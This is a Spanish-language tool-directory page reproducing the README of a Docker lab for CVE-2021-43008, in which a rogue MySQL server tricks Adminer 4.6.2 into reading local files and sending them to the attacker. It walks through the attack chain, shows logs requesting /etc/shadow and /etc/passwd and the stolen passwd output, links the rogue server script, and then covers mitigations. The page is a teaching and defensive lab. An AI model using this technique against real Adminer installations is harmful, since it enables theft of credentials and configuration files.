Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
adminer_CVE-2021-43008 — Entorno de demostración para la vulnerabilidad CVE-2021-43008 de Adminer: observar el impacto real y probar medidas de mitigación. | Kitploit
Herramientas/GitHubGitHub/bamolitho/adminer_cve-2021-43008
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

Entorno de demostración para la vulnerabilidad CVE-2021-43008 de Adminer: observar el impacto real y probar medidas de mitigación.

Ver Repositorio
13hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-43008 — Vulnerabilidad Adminer

Lectura arbitraria de archivos a través de un servidor MySQL malicioso

1. ¿Qué es Adminer?

Adminer es una herramienta web (PHP) que permite administrar fácilmente bases de datos MySQL, PostgreSQL, SQLite o SQL Server. Se despliega comúnmente como una alternativa ligera a phpMyAdmin.

Versiones afectadas: Adminer ≤ 4.6.2


2. ¿Cuál es la naturaleza de la vulnerabilidad?

2.1. Falla de Control de Acceso

Adminer permite la conexión a cualquier servidor MySQL remoto. Sin embargo, durante la conexión a un servidor MySQL, el cliente (aquí Adminer) acepta:

  • un conjunto de instrucciones iniciales del servidor,
  • incluyendo el comando LOAD DATA LOCAL INFILE, que permite al servidor solicitar al cliente que le envíe un archivo local.

2.2. Problema

Adminer no valida correctamente las respuestas del servidor MySQL en las versiones vulnerables.

Resultado:

“Lee este archivo local en la máquina o contenedor que aloja Adminer y envíamelo.”

Este mecanismo está relacionado con el paquete MySQL: 0xFB | filename → desencadena la lectura local del archivo.

Por qué la versión 4.6.2 es vulnerable

Adminer 4.6.2 permitía a un usuario especificar un servidor MySQL externo y conectarse libremente. Sin embargo, MySQL también permitía —por defecto— el uso de:

  • LOAD DATA LOCAL INFILE
  • en modo automático cuando ciertos servidores solicitaban un archivo.

Por lo tanto: Adminer → se conecta al servidor malicioso → el servidor malicioso solicita un archivo → Adminer lo envía.

Esta es la esencia de la vulnerabilidad.


3. Condiciones de explotación

El atacante debe:

  1. Alojar un servidor MySQL malicioso (Rogue MySQL Server).
  2. Lograr que Adminer se conecte a su servidor:
    • mediante un error de configuración,
    • mediante una interfaz expuesta públicamente,
    • mediante una acción de un usuario (ataque de tipo “supply host”).
  3. El servidor MySQL rogue envía un paquete LOAD DATA LOCAL INFILE.
  4. Adminer lee un archivo local.
  5. El archivo se envía al atacante.

No se necesita ninguna contraseña de root para exfiltrar un archivo local: es Adminer quien ejecuta la acción como una aplicación PHP en el servidor objetivo.


4. Consecuencias de la vulnerabilidad

4.1. Compromiso de la confidencialidad

El atacante puede:

  • leer /etc/passwd (de la entidad que aloja adminer: máquina host o contenedor),
  • leer /etc/shadow (según los permisos del usuario PHP),
  • recuperar los archivos de configuración,
  • robar las credenciales de conexión MySQL,
  • extraer toda la información accesible por el usuario web.

4.2. Escalada de impacto

Con las credenciales MySQL robadas (paso secundario), luego puede:

  • conectarse a la base interna real,
  • leer los datos,
  • escribir en las tablas,
  • inyectar cargas maliciosas.

5. Demostración práctica (PoC) — Arquitectura del laboratorio

El PoC se realiza en un entorno aislado y contenedorizado para evitar cualquier riesgo.

5.1. Componentes del laboratorio

  1. Adminer vulnerable (versión 4.6.2) Rol: víctima Expuesto localmente a través de localhost:8080
  2. MySQL legítimo (opcional) Rol: simular una base de datos real
  3. Rogue MySQL Server (Python) Rol: atacante Envía los paquetes 0xFB filename para forzar a Adminer a leer un archivo local.

5.2. Estructura de la carpeta

root@kitploit:~
adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
	├── rogue_mysql_server.py
	├── requirements.txt
	└── Dockerfile

6. Desarrollo del PoC: ¿cómo se manifiesta la vulnerabilidad?

6.1. Iniciar el laboratorio

root@kitploit:~
docker compose build && docker compose up -d

6.2. Conexión desde Adminer al Rogue Server

En http://localhost:8080:

  • Sistema: MySQL
  • Servidor: rogue_mysql:33306
  • Usuario: cualquiera
  • Contraseña: cualquiera

6.3. Desarrollo automático

  1. Adminer envía el handshake.
  2. El Rogue MySQL devuelve LOAD DATA LOCAL INFILE '/etc/passwd'.
  3. Adminer lee /etc/passwd.
  4. Adminer envía su contenido al rogue.
  5. El rogue almacena el texto en stolen_file.txt.

6.4. Resultado observado

Usa el siguiente comando para observar los logs del rogue:

root@kitploit:~
docker logs -f rogue_mysql

Resultado esperado:

root@kitploit:~
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,215:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt

Consulta el contenido del archivo stolen_file.txt:

root@kitploit:~
docker exec -it rogue_mysql sh

Una vez dentro del contenedor, podrás visualizar los contenidos de los archivos, incluyendo stolen_file.txt

root@kitploit:~
# ls
mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
root@kitploit:~
# cat stolen_file.txt

Resultado:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false

Este resultado demuestra la vulnerabilidad sin ambigüedad.

7. Medidas de mitigación

A. Actualizar Adminer (eso solo es suficiente)

Solución más fiable: Pasar a Adminer ≥ 4.6.3

Las versiones posteriores corrigen el comportamiento de red.

Lo que se corrigió en las versiones siguientes

A partir de Adminer 4.7.x, se introdujeron varias protecciones:

Adminer prohíbe ahora por defecto LOAD DATA LOCAL INFILE

Ya sea:

  • desactivado por completo
  • o activado solo cuando el usuario lo autoriza explícitamente

→ Resultado: tu rogue MySQL ya no puede exfiltrar archivos.

Adminer filtra las acciones del cliente antes de enviarlas al servidor

Esto evita que las conexiones externas utilicen funciones peligrosas.

Mecanismos adicionales de validación de entrada

Las nuevas versiones verifican:

  • si el servidor objetivo es el esperado
  • si la acción no es peligrosa
  • si la solicitud corresponde a una acción de usuario legítima

B. Desactivar las conexiones externas

Limitar Adminer solo a los hosts internos:

  • mediante firewall (OUTPUT + DOCKER NETWORKS),
  • mediante proxy inverso filtrado,
  • mediante configuración de red estrictamente localizada.

El Adminer de producción debe siempre apuntar a un MySQL interno.


C. Desactivar LOCAL INFILE en el lado de MySQL

Evita el robo a través del cliente MySQL legítimo:

root@kitploit:~
[mysqld]
local_infile=0

o:

root@kitploit:~
SET GLOBAL local_infile=0;

D. Nunca exponer Adminer públicamente

Adminer no debe ser accesible en Internet.

En producción:

  • acceso limitado a través de VPN,
  • SSO o autenticación fuerte,
  • caducidad automática.

E. Eliminar Adminer después de su uso

Adminer debe ser visto como una herramienta temporal:

  • se despliega para una tarea puntual,
  • se elimina después.

8. Recursos y referencias fiables

  • Source du script python utilisé : https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
  • Site officiel Adminer https://www.adminer.org/en/
  • Sansec (publication initiale) https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
  • Podalirius (explications techniques + PoC) https://podalirius.net/en/cves/2021-43008/
  • vulhub : https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

9. Resumen final

CVE-2021-43008 es una vulnerabilidad crítica de Adminer ≤ 4.6.2 que permite:

  • a un atacante que controla un servidor MySQL,
  • obligar a Adminer a leer un archivo local,
  • y luego exfiltrar el contenido hacia el atacante.

Es una demostración perfecta de la importancia:

  • del control de red,
  • de las restricciones del cliente MySQL,
  • de la no exposición de herramientas de administración,
  • de la gestión de versiones de software.

Descargar herramienta